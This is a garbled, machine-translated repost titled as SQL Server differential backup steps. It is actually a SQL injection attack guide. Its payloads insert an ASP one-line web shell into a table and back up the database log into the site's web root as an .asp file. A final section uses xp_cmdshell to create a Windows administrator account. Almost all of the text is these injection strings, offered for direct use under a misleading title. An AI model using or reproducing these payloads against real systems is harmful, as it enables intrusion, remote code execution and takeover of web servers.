Steps for SQL Server to manually implement differential backups _mssql

Source: Internet
Author: User

Steps to manually implement differential backups

Character type:

1. Restore the current library
ALTER DATABASE Current library set RECOVERY full--

2, the construction table cmd
; Create table cmd (a image)--

3, back up the current library to D:\CMD1
; Backup log current library to disk = ' D:\cmd1 ' with init--

4, insert a sentence code to create the table cmd
; insert into cmd (a) VALUES (' <%%25**ecute (Request ("a"))%%25> ')--

5, backup one sentence code to the site root directory
; Backup log current library to disk = ' D:\www_web\oct.asp '--

6. Complete
Table created;d ROP table--

Digital type

1. Restore the current library
' ALTER DATABASE current library set RECOVERY full--

2. CREATE TABLE cmd
'; Create table cmd (a image)--

3, back up the current library to D:\CMD1
'; Backup log current library to disk = ' D:\cmd1 ' with init--

4, insert a sentence code to create the table cmd
'; insert into cmd (a) VALUES (' <%%25**ecute (Request ("a"))%%25> ')--

5, backup one sentence code to the site root directory
'; Backup log current library to disk = ' D:\www_web\oct.asp '--

6. Complete
';d table created by ROP table--

SA Permissions Create administrator user

1. To judge whether there is injection; and 1=1; 1=2
; and user_name () = ' dbo ' Determines whether the current system's connected user is an SA

2, add the administrator of the system
; Exec master.dbo.xp_cmdshell ' net user wk Wk90/add ';--
; exec master.dbo.xp_cmdshell ' net localgroup Administrators Wk/add ';--

Free revenge: There are tools I will not be manual, trouble.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.